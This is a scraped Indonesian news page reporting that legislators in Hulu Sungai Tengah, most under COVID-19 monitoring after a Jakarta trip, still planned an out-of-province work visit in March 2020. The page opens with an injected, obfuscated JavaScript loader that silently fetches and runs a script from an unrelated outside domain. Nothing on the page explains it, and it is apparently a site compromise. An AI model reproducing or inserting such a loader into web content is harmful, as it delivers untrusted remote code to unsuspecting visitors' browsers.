(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Berstatus ODP, Anggota DPRD HST Tetap Berencana Kunker ke Luar Daerah


KANALKALIMANTAN.COM, BARABAI – Berstatus orang dalam pemantauan (ODP), anggota DPRD Hulu Sungai Tengah (HST) tetap berencana melakukan kunjungan kerja ke luar provinsi. Sesuai hasil rapat Badan Musyawarah (Banmus), beberapa anggota menjadwalkan kunjungan kerja perjalanan dinas mulai Hari Rabu (25/3/2020).

Hal itu dibenarkan oleh salah seorang anggota Komisi III DPRD HST Hermansyah. Ia mengatakan ada jadwal bakal melakukan kunjungan kerja ke luar provinsi. “Itu hasil Badan Musyawarah (Banmus) yang digelar awal bulan tadi. Namun apakah hasil Banmus itu masih disesuaikan atau tidak terkait virus corona ini masih belum diketahui. Belum tahu apakah bakal jadi berangkat atau tidak. Karena surat perjalanan dinas ditandatangani ketua,” ujarnya saat dikonfirmasi via telpon oleh Kalsel.Antaranews.com.

Dari info yang dihimpun, hasil Banmus awal bulan lalu sampai hari ini tidak diubah dan kemungkinan besar para anggota DPRD HST yang diperkirakan 12 sampai 13 orang akan tetap melakukan kunjungan kerja ke luar provinsi namun ada juga yang memilih tidak ikut.

Karena pimpinan menyerahkan kepada para anggota DPRD tersebut, yang ingin tetap berangkat dipersilahkan dan yang tidak ikut perjalanan dinas pun dipersilahkan.

Sementara Ketua DPRD HST, H Rachmadi saat dikonfirmasi pada Konferensi Pers Gugus Tugas penanganan Covid 19 di Kantor Dinas Kesehatan HST, Selasa (24/3/2020) mengatakan tidak tahu kalau ada rencana perjalanan dinas ke luar provinsi.

“Kalau anggota dewan ingin bepergian ke luar daerah secara pribadi, itu hak mereka. Kita tidak bisa melarang namun kalau ingin melakukan perjalanan dinas sebaiknya ditunda dulu,” komentarnya.

Padahal sebelumnya, oleh Dinas Kesehatan beserta tim kesehatan setempat, mengimbau agar anggota DPRD HST untuk tidak melakukan kunjungan kerja dalam beberapa waktu. Imbauan tersebut disampaikan bukan tanpa alasan. Pasalnya, hampir seluruh anggota DPRD HST ditetapkan sebagai orang dalam pemantauan (OPD). Mengingat dari tanggal 11 hingga 15 Maret lalu, mereka melakukan perjalanan dinas ke daerah yang terjangkit Covid-19 yaitu Jakarta.

Perlu diketahui, status ODP, ditetapkan kepada mereka yang datang dari bepergian ke daerah yang diduga terjangkit Covid-19. Menekan agar tidak terjadi hal yang tidak diinginkan, pemerintah beserta dinas terkait, melakukan pemerikasaan awal kemudian melakukan pegawasan selama 14 hari sejak kedatangan yang bersangkutan.(antara)

Reporter : Antara
Editor : Antara

 


Desy Arfianty

Recent Posts

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

1 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

3 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

17 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

17 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

18 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

23 jam ago

This website uses cookies.